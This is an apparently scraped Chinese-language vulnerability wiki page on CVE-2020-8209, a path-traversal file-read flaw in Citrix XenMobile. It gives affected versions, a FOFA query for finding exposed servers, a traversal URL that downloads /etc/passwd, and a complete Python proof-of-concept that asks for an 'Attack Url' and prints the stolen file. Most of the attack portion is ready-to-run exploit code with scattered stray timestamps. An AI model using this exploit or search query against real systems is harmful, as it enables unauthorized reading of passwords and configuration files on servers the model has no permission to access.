2022-05-17 17:43:20 +08:00
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# Citrix XenMobile 任意文件读取 CVE-2020-8209
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## 漏洞描述
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XenMobile是Citrix开发的企业移动性管理软件。该产品允许企业管理员工的移动设备和移动应用程序。该软件的目的是通过允许员工安全地在企业拥有的和个人移动设备及应用程序上工作来提高生产率。 CVE-2020-8209，路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件，包括包含密码的配置文件
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2022-12-06 17:17:54 +08:00
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## 漏洞影响
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2022-05-17 17:43:20 +08:00
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```
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RP2之前的XenMobile服务器10.12
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RP4之前的XenMobile服务器10.11
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RP6之前的XenMobile服务器10.1010.9
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RP5之前的XenMobile服务器
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```
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## FOFA
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```
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title="XenMobile"
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```
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## 漏洞复现
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访问 [**http://xxx.xxx.xxx.xxx/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd**](http://xxx.xxx.xxx.xxx/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd) 可以成功下载**/etc/passwd**文件
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2022-12-05 11:09:28 +08:00
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2022-05-17 17:43:20 +08:00
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import hashlib
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import sys
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import requests
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import random
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import re
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import urllib3
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def title():
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print('+------------------------------------------')
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print('+ \033[34mVersion: Citrix XenMobile \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2020-8209.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
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}
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try:
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
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print("\033[32m[o] 含有CVE-2020-8209漏洞，成功读取/etc/passwd\033[0m\n{} ".format(response.text))
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except:
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print("\033[31m[x] 漏洞利用失败 \033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl > >> \033[0m"))
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POC_1(target_url)
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```
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